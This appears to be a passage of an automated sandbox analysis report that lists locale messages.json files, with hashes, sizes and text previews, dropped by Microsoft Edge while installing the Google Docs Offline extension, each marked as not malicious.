SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7500_1039443261\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

